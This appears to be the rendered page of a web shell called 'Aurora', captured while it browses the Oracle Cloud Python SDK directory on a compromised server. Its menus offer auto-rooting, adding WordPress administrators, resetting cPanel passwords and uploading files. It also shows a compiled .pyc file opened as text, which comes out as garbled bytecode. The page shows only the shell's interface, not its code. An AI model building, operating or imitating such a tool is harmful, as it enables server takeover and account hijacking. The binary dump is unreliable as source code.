Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
devops
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: create_or_update_protected_branch_details.cpython-39.pyc
a ���f� � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ sl e Zd ZdZdZdZdd� Zedd� �Zej dd� �Zed d � �Z e j dd � �Z dd � Zdd� Zdd� Z dS )�$CreateOrUpdateProtectedBranchDetailsz2 Information to create a protected branch � READ_ONLY�PULL_REQUEST_MERGE_ONLYc K s( ddd�| _ ddd�| _d| _d| _dS )a� Initializes a new CreateOrUpdateProtectedBranchDetails object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param branch_name: The value to assign to the branch_name property of this CreateOrUpdateProtectedBranchDetails. :type branch_name: str :param protection_levels: The value to assign to the protection_levels property of this CreateOrUpdateProtectedBranchDetails. Allowed values for items in this list are: "READ_ONLY", "PULL_REQUEST_MERGE_ONLY" :type protection_levels: list[str] �strz list[str])�branch_name�protection_levelsZ branchNameZprotectionLevelsN)Z swagger_typesZ attribute_map�_branch_name�_protection_levels)�self�kwargs� r �_/usr/lib/python3.9/site-packages/oci/devops/models/create_or_update_protected_branch_details.py�__init__ s ��z-CreateOrUpdateProtectedBranchDetails.__init__c C s | j S )z� **[Required]** Gets the branch_name of this CreateOrUpdateProtectedBranchDetails. Name of a branch to protect. :return: The branch_name of this CreateOrUpdateProtectedBranchDetails. :rtype: str �r �r r r r r 6 s z0CreateOrUpdateProtectedBranchDetails.branch_namec C s || _ dS )z� Sets the branch_name of this CreateOrUpdateProtectedBranchDetails. Name of a branch to protect. :param branch_name: The branch_name of this CreateOrUpdateProtectedBranchDetails. :type: str Nr )r r r r r r B s c C s | j S )aV Gets the protection_levels of this CreateOrUpdateProtectedBranchDetails. Level of protection to add on a branch. Allowed values for items in this list are: "READ_ONLY", "PULL_REQUEST_MERGE_ONLY" :return: The protection_levels of this CreateOrUpdateProtectedBranchDetails. :rtype: list[str] )r r r r r r N s z6CreateOrUpdateProtectedBranchDetails.protection_levelsc C s@ ddg}|r6|t ur6|D ]}t||�std|� ���q|| _dS )a Sets the protection_levels of this CreateOrUpdateProtectedBranchDetails. Level of protection to add on a branch. :param protection_levels: The protection_levels of this CreateOrUpdateProtectedBranchDetails. :type: list[str] r r z>Invalid value for `protection_levels`, must be None or one of N)r r � ValueErrorr )r r Zallowed_values�valuer r r r \ s �c C s t | �S �N)r r r r r �__repr__p s z-CreateOrUpdateProtectedBranchDetails.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__s s z+CreateOrUpdateProtectedBranchDetails.__eq__c C s | |k S r r r r r r �__ne__y s z+CreateOrUpdateProtectedBranchDetails.__ne__N)�__name__� __module__�__qualname__�__doc__ZPROTECTION_LEVELS_READ_ONLYZ)PROTECTION_LEVELS_PULL_REQUEST_MERGE_ONLYr �propertyr �setterr r r r r r r r r s r N)Zoci.utilr r r Zoci.decoratorsr �objectr r r r r �<module> s